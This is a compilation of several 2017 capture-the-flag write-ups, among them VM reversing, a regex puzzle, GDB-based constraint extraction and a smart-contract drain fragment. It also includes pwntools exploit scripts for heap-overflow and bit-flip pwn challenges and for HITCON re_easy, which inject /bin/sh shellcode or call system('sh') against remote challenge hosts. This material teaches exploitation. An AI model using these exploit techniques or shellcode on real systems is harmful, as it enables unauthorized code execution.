2,1,4,4,1,4,2,2,0,0,0,8,1,20,4,10x1b0a xor Register(4, 4, 1), 0xffffffff 11,1,4,4,1,2,255,255,255,2550x1b14 mov *Int32(0x8, Register(20, 4, 1)), Register(4, 4, 1) 2,4,2,2,0,0,0,8,1,20,4,1,1,4,4,10x1b24 mov Register(8, 4, 1), *Int32(0x10, Register(20, 4, 1)) 2,1,8,4,1,4,2,2,0,0,0,16,1,20,4,10x1b34 mov *Int32(0xfffffff8, Register(20, 4, 1)), Register(8, 4, 1) 2,4,2,2,255,255,255,248,1,20,4,1,1,8,4,10x1b44 mov Register(0, 4, 1), *Int32(0x10, Register(20, 4, 1)) 2,1,0,4,1,4,2,2,0,0,0,16,1,20,4,10x1b54 sub Register(0, 4, 1), 0x1 3,1,0,4,1,2,0,0,0,10x1b5e mov *Int32(0x10, Register(20, 4, 1)), Register(0, 4, 1) 2,4,2,2,0,0,0,16,1,20,4,1,1,0,4,10x1b6e tst *Int32(0xfffffff8, Register(20, 4, 1)), 0x0 6,4,2,2,255,255,255,248,1,20,4,1,2,0,0,0,00x1b7f breq 0x1c28 16,2,0,0,28,400x1b85 mov Register(4, 4, 1), *Int32(0xfffffffc, Register(20, 4, 1)) 2,1,4,4,1,4,2,2,255,255,255,252,1,20,4,10x1b95 movsx Register(8, 4, 1), *Int8(Register(4, 4, 1)) 10,1,8,4,1,3,1,1,4,4,10x1ba0 xor Register(8, 4, 1), *Int32(0x8, Register(20, 4, 1)) 11,1,8,4,1,4,2,2,0,0,0,8,1,20,4,10x1bb0 and Register(8, 4, 1), 0xff 17,1,8,4,1,2,0,0,0,2550x1bba mov Register(0, 4, 1), *Int32(0x8, Register(20, 4, 1)) 2,1,0,4,1,4,2,2,0,0,0,8,1,20,4,10x1bca sar Register(0, 4, 1), 0x8 18,1,0,4,1,2,0,0,0,80x1bd4 xor Register(0, 4, 1), *Int32(0xfffffbf8, Register(20, 4, 1), Register(8, 4, 4)) 11,1,0,4,1,4,3,2,255,255,251,248,1,20,4,1,1,8,4,40x1be8 mov *Int32(0x8, Register(20, 4, 1)), Register(0, 4, 1) 2,4,2,2,0,0,0,8,1,20,4,1,1,0,4,10x1bf8 mov Register(4, 4, 1), *Int32(0xfffffffc, Register(20, 4, 1)) 2,1,4,4,1,4,2,2,255,255,255,252,1,20,4,10x1c08 add Register(4, 4, 1), 0x1 5,1,4,4,1,2,0,0,0,10x1c12 mov *Int32(0xfffffffc, Register(20, 4, 1)), Register(4, 4, 1) 2,4,2,2,255,255,255,252,1,20,4,1,1,4,4,10x1c22 brk 0x1b24 8,2,0,0,27,360x1c28 mov Register(0, 4, 1), *Int32(0x8, Register(20, 4, 1)) 2,1,0,4,1,4,2,2,0,0,0,8,1,20,4,10x1c38 xor Register(0, 4, 1), 0xffffffff 11,1,0,4,1,2,255,255,255,2550x1c42 mov Register(16, 4, 1), Register(20, 4, 1) 2,1,16,4,1,1,20,4,10x1c4b pop Register(20, 4, 1) 14,1,20,4,10x1c50 ret 0x0 15,2,0,0,0,0```
### Setting up the Javascript/Assembly Debugger
Now we can properly begin debugging the assembly code. I'm using Vivaldi which uses the same debugger as Chrome. First load the local copy of the challenge with the Javascript deobfuscated. Now open the Inspect console and go to the Sources tab to get to the Javascript debugger. Place a breakpoint on line 341. You'll also want the programCounter as a Watch variable. I also put some of the registers as Watches.
Breakpoints in the assembly can be set by Editing the line 341 breakpoint to only trigger when programCounter is a specific value. There are two primary sections of the program that check the password. One, starting at `0x04c7`, verifies that the password meets certain requirements. The second, starting at `0x03a9` uses that password as an XOR key to decrypt the flag.
### Password ValidationThe password validation function starting at `0x04c7` starts by loading 255 32-bit numbers into the memory array. We will refer to this as the pad. It initializes the blockchain to `0xEDCBA987` Then it loops through each character (c) of the password and does the following steps.1. Takes the last byte of the current block (`0x87` on the first loop)1. XOR's that byte with the current char of the password1. Uses that byte as an index into the pad to get a key 1. Shifts the block 8 bits to the right (`0xEDCBA987` becomes `0x00EDCBA9`)1. XOR's the block with the key from step 3
Just before the function returns the block is XOR'd with 0xFFFFFFFF to get the inverseAfter the function completes and returns, the block is stored in register 0. On line `0x0377` it is tested with `0x33e5ae40` and if it is not equal, the program enters its fail state. We can work backwards to get a relationship for the last 4 blocks. We know the last block must be `0x33e5ae40 ^ 0xffffffff = 0xcc1a51bf`. Since each block is right shifted, the first byte is always 0. This means the key from the pad must start with `0xcc`. The index of that key is `0xDF`, and the key is `0xcc0c7795`. We can find the last 3 bytes of the previous block by XOR'ing the current block with the key. `0xcc0c7795 ^ 0xcc1a51bf = 0x0016262a`. We can work backwards to find the last 4 strings, but beyond that we need more information. Since we know the string indexes, once we know the first 4 characters, we can easily solve for the last 4. I set up a Google Sheets spreadsheet to help me since Google Sheets can XOR numbers, index into a list, and easily set up complex relationships.
We can find the missing values by looking at the second part of the program.
### Flag Recovery
Flag recovery happens on line `0x03a9`, but before that the encoded flag is loaded into memory starting on line `0x001d`. The first four bytes of the encoded flag are `73 14 20 17`. Knowing that the flag will start with `KLCTF` we can XOR to get the first 4 characters `8XcC`. Plugging those into the spreadsheet gives us the key `8XcCDUhG`
Typing that into the box reveals the flag.
###### Tylor Childers |
When you give it a size, it proceeds to call `read(0, buf, len-1)` without checking for 0, so does `read(...,-1)` and gives us an easy heap smash :D We target another note struct on the heap, and overwrite its size field to `0xffffffffffffffff` so we can edit anywhere. From there we get the necessary leaks.
The custom format specifier has some sort of structure for it allocated on the heap, which stores the two function pointers for the `printf_arginfo_size_function` and `printf_function`, so we can overwrite one of those to get control. Specifically, the arginfo function is called with a `printf_info` structure argument, and the first field in that structure is the precision (`.17`). so we can have this be "sh\0" with `.26739`.
Based on the challenge author's writeup, I don't think this was the intended solution :P
```pythonfrom pwn import *import sys
context.update(arch='amd64')libc = ELF("./libc.so.6",False)
if 'rem' in sys.argv: r = remote("flatearth.fluxfingers.net", 1748)else: r = process("./sceptic", env={"LD_PRELOAD":"./libc.so.6"})
def xor(a, b): return "".join([chr(ord(a[i])^ord(b[i%len(b)])) for i in xrange(len(a))])
menu = "> "def add(data, sz=None, subj=None): if sz == None: sz = len(data)+1 r.sendafter(menu, "1\n") r.sendafter(menu, str(sz)+'\n') if subj: r.sendafter(menu, "y") r.sendafter(menu, subj) else: r.sendafter(menu, "n") r.sendafter(menu, data)def view(idx, fmt=''): r.sendafter(menu, "3\n") r.sendafter(menu, str(idx)+'\n') r.sendafter(menu, fmt.ljust(0xf,'\0'))def edit(idx, data, start_idx=0, sz=-1): if sz == -1: sz = len(data) r.sendafter(menu, "2\n") r.sendafter(menu, str(idx)+'\n') r.sendafter(menu, str(start_idx)+'\n') r.sendafter(menu, str(sz)+'\n') r.sendafter(menu, data)
add("A"*0x28, 0x200)view(0,"#.64") #malloc fastbin 0x30add("B"*0x20) #victim note after fastbin 0x30
pl = fit({ 0x10:0xffffffffffffffff, #heap metadata, whatever, set to non-null for %s leak 0x28:0xffffffffffffffff #set size, edit anywhere }, filler="C")add(pl, 0) #gives fastbin 0x30, then trash victim note
edit(1, "\0"*0x10, -0x48) #encrypt some 0s in subject field (printed without xoring)view(2) #leak randsr.recvuntil("Subject: ")rands = r.recvn(7)+"\0"print "RANDS: "+rands.encode('hex')
view(0, "#.64")edit(0, "A"*0x48)view(0, "#.64")edit(0, "A"*0x68)view(0, "#.64")edit(0, "A"*0x88)view(0, "#.64")edit(0, "A"*0x100)view(0, "#.64") #consolidate, libc pointers in free chunk
edit(1, xor("A"*0x10+p64(0xffffffffffffffff), rands), 0x20) #remove nulls for libc leakview(2) #leak libc bin pointersr.recvuntil("A"*0x10+p64(0xffffffffffffffff))libc.address = u64(r.recvline().strip().ljust(8,'\0'))-0x3c4b78print "LIBC: "+hex(libc.address)
edit(1, xor(p64(libc.symbols['system']), rands), -0x1078) #custom specifier function pointer on heapview(2, ".%d"%(u16("sh"))) #first field in printf_info is precision :D
#FLAG{t4v1s_4ssum3d_1t_in_2k14}r.interactive()
```
Author: pernicious |
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<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>HeapHeaven</span> </div>
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<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTFs</span></span></span><span>/</span>hack.lu 2017<span>/</span> </div> </div>
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# Baby Regex## ChallengeOur team has gotten hands on this text and we know that it has been used by BloodSuckers Corp. as an admittance test for their applicants in the Counter Intelligence(CI) team, since these guys have an eye for pattern recognition! Get this achievement by helping the members of Rebellious Fingers that will soon try to infiltrate the CI team and will need this test's results.
```textOpen your eyes is all that is needing. The heart lies and the head plays tricks with us, but the eyes see true. Look with your eyes. Hear with your ears. Taste with your mouth. Smell with your nose. Feel with your skin. Then comes the thinking, afterward, and in that way <knowing the truth. >Open way to combat the horizon effect is to continue search when an otherwise terminal situation is judged to be particularly dynamic. Such heuristic continuation is sometimes called feedover.
The mind which is created quick to love, is responsive to everything that is pleasing, soon as by pleasure it is awakened into activity. Your apprehensive faculty draws an impression from a real object, and unfolds it within you, so that it makes the mind turn thereto. And if, being turned, it inclines towards it, that inclination is love, for don't say blabla; that is nature, which through pleasure is bound anew within you.
Tune up your circuits, check out your Chips
Because you're going to live a Long Life.Check the identity card, it shows your code.
Listen to the white noise in your ears - it Fades AWAY.
Watching the sunset on the end of the HIGHWAY --- City meditation in curving reflections of NEON signs on the Chrome of the Cars.The WeT Concrete and mirrored Streets recall shows the traffic away, recalls you to the smell of scratching cloudy sheets.Billboards and Cholo-Ads above are the unfocused bottle of Time.Drink it away, FLY to the ORBITAL Fly.Away to drivin' the ocean of blue-green.Drivin' away to the ocean of green-blue.```Pay close attention to the text in order to capture the sequence as it appears, understanding these instructions is also part of the challenge. The engine used is python2, everything is working as expected!
## SolutionThe regexes were for the most part simple to write, until the various rules and limitations were put into place. To help with this I first ignored the rules/limitations to write regexes that would capture the words and then it was a bunch of trial and error to make them smaller and find clever ways to simplifiy the regexes to fit the limitations.The best tool for this was using https://regexr.com/ so that I could see exactly how every change to the regex effected what it captured in real time.
>Type the regex that capture: "from "Drivin" until the end of phrase, without using any letter, single quotes or wildcards, and capturing "Drivin'" in a group, and "blue." in another", with max. "16" chars:
Given that the phrase was the very last line in the text I could use `.+$` to get the just the last line of the text and then it was just a matter of getting the two groups which ended up being the first seven characters and the last five characters.
`(.{7}).+(.{5})$`
---###
>Type the regex that capture: "(BONUS) What's the name of the big american television channel (current days) that matchs with this regex: .(.)\1", with max. "x" chars:
The `\1` is a backreference to the first captured group `(.)` so then we know that the last two letters are the same so it becomes just a question of thinking of a three letter television channel where the last two letters are the same.
`CNN`
---###
>Type the regex that capture: "<knowing the truth. >, without using "line break"", with max. "8" chars:
We need to capture everything between `<` and `>` which is just `<.+\n>` but since we can't use any line breaks we instead replace it with `\s` which is any whitespace character.
`<.+\s>`
---###
>Type the regex that capture: "the only word that repeat itself in the same word, using a group called "a" (and use it!), and the group expression must have a maximum of 3 chars, without using wildcards, plus signal, the word itself or letters different than [Pa]", with max. "16" chars:
After finding the only word that repeats itself in the text `blabla`, I figured out it can be easily captured with `(..a)\1` but the challenged required the group to be named. Since https://regexr.com/ doesn't support named groups the challenge then became trying to find the proper way to name groups in Python2.7's regex. From looking up the documentation for Python's regex library I was then able to find that `(?P<name>...)` could be used to create a named group and then it could be backreferenced with `(?P=name)`
`(?P..a)(?P=a)`
---###
>Type the regex that capture: "All "Open's", without using that word or [Ope-], and no more than one point", with max. "11" chars:
Initially I noticed that I could use `^\w+n` to get the first Open since `^` represents the beginning of the string so I then experimented with different ways to get the second Open. One idea I came up with was using positive lookbehind to look for either the beginning of the text or the `>\n`. That positive lookbehind `(?<=^|>\n)\w+n` captured both Open's but was too many characters. I went through a bunch of trial and error trying to make it less characters including trying to use a word boundary `\b` in the form of `\b\w{3}n`. Eventually I figured out that the regex accepted escaped hexidecimal so I could effectively use an `O` with `\x4f` which made things a lot easier.
`\x4f\w+n`
---###
>Type the regex that capture: "Chips" and "code.", and it is only allowed the letter "c" (insensitive)", with max. "15" chars:
My initial attempt was to use `[cC]....\n` but this didn't work since it also captured `Cars.`. Next after noticing the pattern of four words, a comma, two words, and then the words to capture and the pattern of both coming after `your`, I tried to use positive lookbehind but couldn't seem to find a way that stayed under the 15 character limit. Eventually I figured out similarly to the above challenge I could use escape code but this time using octal. By using octal coding I was able to put a `s` into the regex with `\163`. `c...\.|C...\163`
---###
>Type the regex that capture: "FLY until... Fly", without wildcards or the word "fly" and using backreference", with max. "14" chars:
I first started off with the simple regex `FLY.+Fly` which captured everything but just didn't satisfy the limitations. Since I had to use backreferencing and the only common letter(s) was `F` then I know I had to change the regex to `(F)LY.+\1ly`. Once I had this I simply just simplified the regex down.
```regexpFLY.+Fly(F)LY.+\1ly(F)L..+\1ly(F)L.+\1ly```Could've made simpler: `(F).+\1..`
---###
>Type the regex that capture: "the follow words: "unfolds", "within" (just one time), "makes", "inclines" and "shows" (just one time), without using hyphen, a sequence of letters (two or more) or the words itself", with max. "38" chars:
So first I wrote the regex to capture all of the words `unfolds|within|makes|inclines|shows`, but then I need to only capture the words once. I figured out that each word besides `unfolds` followed the word `it` exactly once and `unfolds` followed `and` once from this I added `([td] )` which I later turned into a positive lookbehind, `(?<=t |d )`. Now in order to satisfy the limitation of not having a sequence of letters, I replaced every other character with `.` which is any non-newline character. From there it became a trial and error process of trying to make it shorter, by figuring out which characters I could remove, eventually reducing it to `([td] )(u\w+s|w\w+n|m\w+s|i\w+s|s\w+s)`. I then noticed the pattern from words ending in a `s` so I was able to reduce it down to `([td] )(u\w+|w\w+n|(m|i|s)\w+s)`, but could've reduced it further to `([td] )(w\w+n|(u|m|i|s)\w+s)`. From this point I had the answer `(?<=t |d )(u\w+|w\w+n|(m|i|s)\w+s)` which I thought satisfied all of the conditions but I eventually figured out that I needed to make the `(m|i|s)` be a non-capturing group with `?:`.
`(?<=t |d )(u\w+|w\w+n|(?:m|i|s)\w+s)`.
```regexpunfolds|within|makes|inclines|shows([td] )(unfolds|within|makes|inclines|shows)([td] )(u.f.l.s|w.t.i.|m.k.s|i.c.i.e.|s.o.s)([td] )(u\w+s|w\w+n|m\w+s|i\w+s|s\w+s)([td] )(u\w+|w\w+n|(m|i|s)\w+s)(?<=t |d )(u\w+|w\w+n|(m|i|s)\w+s)(?<=t |d )(u\w+|w\w+n|(?:m|i|s)\w+s)```Could've made simpler: `(?<=t |d )(w\w+n|(?:u|m|i|s)\w+s)`
---### Final Solutions```nc 200.136.213.148 5000Type the regex that capture: "the follow words: "unfolds", "within" (just one time), "makes", "inclines" and "shows" (just one time), without using hyphen, a sequence of letters (two or more) or the words itself", with max. "38" chars: (?<=t |d )(u\w+|w\w+n|(?:m|i|s)\w+s)Nice, next...Type the regex that capture: "All "Open's", without using that word or [Ope-], and no more than one point", with max. "11" chars: \x4f\w+nNice, next...Type the regex that capture: "(BONUS) What's the name of the big american television channel (current days) that matchs with this regex: .(.)\1", with max. "x" chars: cnnNice, next...Type the regex that capture: "Chips" and "code.", and it is only allowed the letter "c" (insensitive)", with max. "15" chars: c...\.|C...\163Nice, next...Type the regex that capture: "FLY until... Fly", without wildcards or the word "fly" and using backreference", with max. "14" chars: (F)L.+\1lyNice, next...Type the regex that capture: "the only word that repeat itself in the same word, using a group called "a" (and use it!), and the group expression must have a maximum of 3 chars, without using wildcards, plus signal, the word itself or letters different than [Pa]", with max. "16" chars: (?P..a)(?P=a)Nice, next...Type the regex that capture: "<knowing the truth. >, without using "line break"", with max. "8" chars: <.+\s>Nice, next...Type the regex that capture: "from "Drivin" until the end of phrase, without using any letter, single quotes or wildcards, and capturing "Drivin'" in a group, and "blue." in another", with max. "16" chars: (.{7}).+(.{5})$Nice, next...CTF-BR{Counterintelligence_wants_you!}```
## Flag`CTF-BR{Counterintelligence_wants_you!}` |
Required patching binary with no-ops on string reverses and realizing that replacing an XOR by "0xXX" with "0x00" results in receiving the original input back as output. Full writeup plus output, patched and unpatched binaries, on site. |
## 2017/hack.lu/bit (pwn / 150pts) ##
*"No matter what conspiracy theory you believe in - i believe that one wrong bit is enough to rule them all."*
*"nc flatearth.fluxfingers.net 1744"*
I found this challenge really fun, even if it took me some time to resolve it (still beginning at pwning), plus the fact that I was at work ... :D
We are given a 64bit dynamically linked binary :
```-> file bitbit: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, stripped```
On which we check for enabled security features :
```-> checksec bit[*] '/home/gov/hack/ctf/hack.lu/pwn_1/bit' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)```
And then start doing a static analysis on it :
```Csigned __int64 __fastcall main(__int64 a1, char **a2, char **a3){ signed __int64 result; // rax@2 _BYTE *v4; // rsi@5 _BYTE *v5; // rax@5 __int64 canary_check; // rsi@6 __int64 canary; // [sp+1038h] [bp-8h]@1
canary = *MK_FP(__FS__, 40LL); if ( __isoc99_scanf("%lx:%u", &mem_dst, &value) == 2 ) { if ( value <= 7 ) { mprotect((mem_dst & 0xFFFFFFFFFFFF1000LL), 4096uLL, 7);
*mem_dst ^= 1 << value;
mprotect((mem_dst & 0xFFFFFFFFFFFF1000LL), 4096uLL, 5); result = 0LL; } else { result = 0xFFFFFFFFLL; } } else { result = 0xFFFFFFFFLL; } canary_check = *MK_FP(__FS__, 40LL) ^ canary; return result;}```
The code generated by IDA is pretty straightforward to understand.The program wait for the user to enter two values separated by a colon => "%lx:%u"
The first value must be a long hexadecimal value.The second must be an unsigned integer and equal or below 7 to reach the branch where mprotect is called, else it quit.
Once corrects values are given, here's what happen :
```-> echo '400000:1' | strace -e mprotect,read ./bit ........read(0, "400000:1\n", 4096) = 9mprotect(0x400000, 4096, PROT_READ|PROT_WRITE|PROT_EXEC) = 0mprotect(0x400000, 4096, PROT_READ|PROT_EXEC) = 0+++ exited with 0 +++```
We can see the mprotect call which set the 0x400000 to PROT_READ|PROT_WRITE|PROT_EXEC aka 7 aka RWX.We also see that the flag is set to RX just after.
But between theses two mprotect call, we have :
```*mem_dst ^= 1 << value;```
So if we entered : 400000:5It would write (content at address 0x400000) ^ (1 << 5) at 0x400000
So, what can we do with a restricted write "ANYWHERE" ? Lot of things.
## Looping the CODE ##
The first thing we need to do is to loop the execution flow (by modyfing an opcode or a jump/call address), it will permit us to write more bytes, so we can get a shell.
Using this input :
400713:0
Which transform :
```gef> x/3i 0x400710 0x400710: mov rdi,rax 0x400713: call 0x400520 <mprotect@plt> 0x400718: mov eax,0x0```to :```gef> x/3i 0x400710 0x400710: mov rdi,rax 0x400713: jmp 0x400520 <mprotect@plt> 0x400718: mov eax,0x0```
Which I still don't know why (fuzzed it), still haven't debugged.
I also found another one way working.
## Break the 2nd mprotect ##
Now that we can send multiples writes, let's make our use of the first mprotect permanent. We can do that by "modyfying" the address of the jump to mprotect.
Using this input :
400714:7
Which transform :
``` 0x400713: jmp 0x400520 <mprotect@plt>```to :``` 0x400713: jmp 0x4005a0```
Here we jump near a ret by just changing one byte of the lower address.So it basically "disable" this mprotect :
```gef> x/10i 0x4005a0 0x4005a0: pop rbp 0x4005a1: ret # end of mprotect```
## Bypass the allowed char range (0->7) ##
At this point, we are able to : - make any mapped memory page +rwx (easy NX bypass) - write a value anywhere that will be xored with the value we replace and shifted to the left by 1. This is not enough (or is it ??) to exploit the binary, we need a write-what-where primitive to send a shellcode, because the range is too small, and because we can ;) By modyfying the cmp instruction to allow any (almost) unsigned integer using this input : 40069d:7 Which modify : ``` 0x40069b: cmp eax,0x7 ``` to ``` 0x40069b: cmp eax,0xffffff87 ``` And allows us to write ANY bytes (from 0x0 to 0xff) ## Disable the left bit shifting ## That would be done with : 4006ef:1 Which change :
``` gef> x/5i 0x4006e7 0x4006e7: mov edi,0x1 0x4006ec: shl edi,cl 0x4006ee: mov ecx,edi 0x4006f0: xor edx,ecx 0x4006f2: mov BYTE PTR [rax],dl```To :```gef> x/5i 0x4006e7 0x4006e7: mov edi,0x1 0x4006ec: shl edi,cl 0x4006ee: mov ebx,edi 0x4006f0: xor edx,ecx 0x4006f2: mov BYTE PTR [rax],dl```
If you look carefully at the code, will make the shl useless as the result is then stored to the ebx register which is not used.
## 3xpl0it that fun binary ! ##
I easily guessed where I could send the shellcode.
0x600960 was a good candidate because it wasn't used and just filled with null bytes (so I won't have to bother xoring with the existing bytes)
The harder was to find a way to trigger the jump into the shellcode.I can only write one byte at time, so if I change an address in a jump instruction , once the program will "loop", it will send us in the middle of nowhere :/
So I thought about it a little and found a way.
Let's write our "trampoline" into a branch of the executable that we can trigger (like the char limitation) o/
We just have to write our trampoline at 0x40068bAnd use a number higher than 0xffffff87 to trigger it.
```if ( value <= 0xffffff87 ) { mprotect stuff} else { 0x40068b : "push 0x600960 ; ... ret"}```
We will have to xor each byte we write with the actual value of the location we write to.Using pwn.ELF make suchs things easy.
But enough talk, here is the code :
```pythonfrom pwn import *from sys import *from time import sleep
if '-d' in argv: context.log_level=1
if '-r' in argv: s = remote('flatearth.fluxfingers.net',1744)else: s = process(['/usr/bin/env','-','/home/gov/hack/ctf/hack.lu/pwn_1/bit'])
e=ELF('/home/gov/hack/ctf/hack.lu/pwn_1/bit')
sleep(.2)s.send('400713:0' + '\n') # Loop the proglog.info('Binary looped!')
sleep(.2)s.send('400714:7' + '\n') # break mprotect resetlog.info('broke mprotect reset!')
sleep(.2)s.send('40069d:7' + '\n') # break char rangelog.info('char range')
sleep(.2)s.send('4006ef:1' + '\n') # bypass shl \o/log.info('disable shift')
sc="\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
pos=0for i in range(0x600960,0x600960+len(sc),1): byte=ord(sc[pos]) s.send('{}:{}\n'.format( hex(i)[2:],byte)) log.info('Writting {} at {}'.format(hex(byte),hex(i))) pos+=1
# push 0x600960 ; rettrampoline="\x68\x60\x09\x60\x00\xc3"
# this zone is not empty so I have to xor with existing byte (thanks to pwn.ELF)pos=0for i in range(0x40068b,0x40068b+len(jumper),1): byte=ord(trampoline[pos]) ^ ord(e.read(i,1)) s.send('{}:{}\n'.format( hex(i)[2:],byte)) log.info('Writting {} at {}'.format(hex(byte),hex(i))) pos+=1
# trigger branching on 0x4006a0 where the trampoline is writtens.send('600000:999999999999999\n\n')s.interactive()```
Hope you liked it !
-govlog- |
# no-calm`397pts` `90 solves` `Reversing`
-----
* *@author*: derbenoo * *@note*: The original write-up is located [here](https://derbenoo.github.io/ctf/2017/09/24/backdoor_ctf_2017_no_calm/)
-----
## Challenge Description
h3rcul35 and starlord were having a heated conversation and to c00l down the furious starlord, h3rcul35 gave him a binary and said "The binary takes each 'character' byte of the flag as argument. Given this info, grab the flag. I hope you don't get angry :P". Show h3rcul35 that you stayed c00l by finding the flag.
## Overview
We run the binary and get the following prompt:
```$ ./challengeUsage ./challenge <each byte of flag separated by spaces>
```
The binary is dynamically linked and not stripped, so we have an easy time understanding it in IDA. At the start of the program, the number of arguments is checked against the value 31. That leaves us with 30 arguments that we have to provide since the first argument is always the path of the binary itself. Using the output we obtained earlier, we can infer that the flag has a length of 30. The program continues to parse the arguments by iterating over them in a loop and storing the first byte of each in an array. Then follows a very long sequence of blocks:
Each block roughly looks like this:
We skim through the blocks and notice that all of them have the following structure:* `{add | sub}` instruction on two bytes of the input* `{add | sub}` instruction on one byte of the input and the result of the previous computation* `cmp` instruction with a constant value
So basically each block defines a linear constraint on the input values. While we could go through all the blocks, write down the constraint and solve the resulting equation system by hand, we choose to automate the process a bit.
## Extracting the Constraints
The first step can be accomplished by writing a GDB Python script. Let's go through it step by step:
``` python# run like this: gdb -x calm.py
peda.execute('file ./challenge')peda.set_breakpoint(0x40085E) # break before first input check
len_input = 30input_stub= ("A "*len_input)[:-1]peda.execute("run %s" % input_stub) # run with input stub```
We load the challenge file and set a breakpoint before the first input check occurs. Note that the program is run with just a bunch of A's as input as we will replace them in the next step:
``` pythoninput_vals= ''.join([chr(i) for i in range(len_input)])rbp= peda.getreg("rbp")pedacmd.patch(rbp-0x30, input_vals, None) # replace input
```
The actual input bytes we want are `\x00, \x01, ..., \x1d`. We directly write them to the memory location our inputs are stored after the for loop (`rbp - 0x30`) since that is easier than trying to provide non-printable bytes as command line arguments to the program... However, you might wonder why we need these specific bytes as our input? Well, as it turns out this greatly facilitates our way of extracting the constraints from the assembly code by doing the following:
We know that each block defines a constraint. Furthermore, each constraint is defined over 3 of the input bytes where each byte is either subtracted or added to the equation and the result is compared to a constant value. We can use this fixed structure by writing a script that breaks on every `add`, `sub` and `cmp` instruction. However, in order to know which bytes of the input are referenced by the instruction, it helps to set them to the values described above. This way, we simply have to check the registers `rax` and `rdx` and the value that they contain will be equal to the index of the input byte that they reference! Let's start with a while loop that runs until we reached the end of the constraints section:
``` pythonconstraints= [] #store constraints in a list
rip= peda.getreg("rip")constr_count= 0 # we need 3 instr per constraintconstr= ""
while rip < 0x400C70: # run until hitting the "hacked" part or failure rip= peda.getreg("rip") instr= peda.current_inst(rip)[1]```
We initialize the variable `constr_count` to keep track of the number of instructions that we have already seen for the current constraint that we are building in the `constr` variable. We continue to check for the three instructions that are interesting for us (and the `jne` instruction):
``` python if "add" in instr: if constr_count == 0: # first calc for this constraint -> extract both operands eax= peda.getreg("rax") edx= peda.getreg("rdx") constr= "b[%d] + b[%d]" % (eax, edx)
elif constr_count == 1: # second calc for this constraint -> extract one operand eax= peda.getreg("rax") constr+=" + b[%d]" % eax
else: print("ERROR occurred at address %s" % str(rip)) peda.execute("quit") constr_count+=1
elif "sub" in instr: if constr_count == 0: # first calc for this constraint -> extract both operands eax= peda.getreg("rax") edx= peda.getreg("rdx")
if instr.index("edx") > instr.index("eax"): constr="b[%d] - b[%d]" % (eax, edx) else: constr="b[%d] - b[%d]" % (edx, eax)
elif constr_count == 1: # second calc for this constraint -> extract one operand eax= peda.getreg("rax") constr+=" - b[%d]" % eax
else: print("ERROR occurred at address %s" % str(rip)) peda.execute("quit")
constr_count+=1
elif "cmp" in instr: if constr_count == 2: # extract const const_val= instr[instr.index("0x"):] const_val= int(const_val, base=16) constr+=" == %d" % const_val
constraints.append(constr) constr= "" constr_count= 0
if len(constraints) > 32: peda.execute("quit")
else: print("ERROR occurred at address %s" % str(rip)) peda.execute("quit")
elif "jne" in instr: peda.set_eflags("zero", True)
gdb.execute("n", to_string=True)```
This looks like quite a bit of code but the logic behind it is quite simple:* `add` instruction: If we encounter an `add` instruction, we simply add the referenced variable(s) to our constraint.* `sub` instruction: We do the same as with the `add` instruction but have to be careful of the order in which the variables are referenced. We know that if the `sub` instruction is the second instruction for the constraint, the order of its arguments is always the same: First the result of the previous calculation and second the new input byte so we can simply read the value of `eax` and add it to our existing constraint. While this assumption might be a little of a stretch, it worked for this challenge ;)* `cmp` instruction: Extract the constant value and add it to the constraint* `jne` instruction: make sure we go to the next block by setting the zero flag
Finally, we print all constraints in a format that makes it easy for us to process them in our next step:
``` pythonprint (" -- CONSTRAINTS --")for i, constr in enumerate(constraints): print("model.addConstr("+constr+", 'cnstr"+str(i)+"')")peda.execute('quit')```
We let the script run and indeed, it successfully extracts all 30 contraints for us!
``` python -- CONSTRAINTS --model.addConstr(b[1] + b[0] - b[2] == 81, 'cnstr0')model.addConstr(b[0] - b[1] + b[2] == 53, 'cnstr1')[...]```
## Solving the LP
Now that we have the constraints the program "defines" on the 30 input characters, solving the LP is straightforward. We make use of Python/ Gurobi and write a script that should do the job:
``` pythonfrom gurobipy import *
model = Model("calm")
b= []for i in range(30): b.append(model.addVar(vtype= GRB.INTEGER, lb= 0, ub= 256, name= "b[%s]" % i ))
model.update()
# constraintsmodel.addConstr(b[1] + b[0] - b[2] == 81, 'cnstr0')model.addConstr(b[0] - b[1] + b[2] == 53, 'cnstr1')[...] # add remaining 28 constraints here ;)
model.update()model.optimize()
print repr(''.join([chr(int(var.x)) for var in b]))
```
We add 30 variables (one for each input byte) to the model and restrict their value space to [0, 256] to make it a little easier for Gurobi. The extracted constraints are then added to the model as well and after solving the LP (which takes basically no time at all), the script prints the flag :)
## Conclusion
Although the challenge description screams "use angr!", we successfully solved the challenge in our own way. Some parts of the solution are intentionally left blank as the challenges from the BackdoorCTF 2017 are transferred to a practice area for permanent hosting. |
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<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTF</span></span></span><span>/</span><span><span>ctf_in_2017</span></span><span>/</span>hitcon<span>/</span> </div> </div>
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|
~~~~from pwn import *
r = process('./re_easy')r = remote('13.112.180.65', 8361)#r = remote('127.0.0.1', 8333)context.arch = 'amd64'
#### The key point is that:# syscall `read` will set rcx to be rip# Reason is unknown...###
payload = asm("""l: syscall mov dl, 0x40 push rcx pop rsi jmp l""")
r.send(payload)
payload = asm(""" xor rax, rax push rax mov rdi, 0x68732f2f6e69622f push rdi mov rdi, rsp xor rsi, rsi xor rdx, rdx mov rax, 0x3b syscall""")
r.send(payload)
r.interactive()~~~~ |
# Get Rich
This challenge gave us a smart contract and an api to interact with theblockchain it was running on. Our goal is to drain the smart contract of funds.
Note: due to inefficiencies and issues with my code, I will not use my code, but I will instead explain the solution published by the creator of the challenge: https://pastebin.com/KXAuwRXS.
I used remix to edit the attacking smart contract: https://remix.ethereum.org/
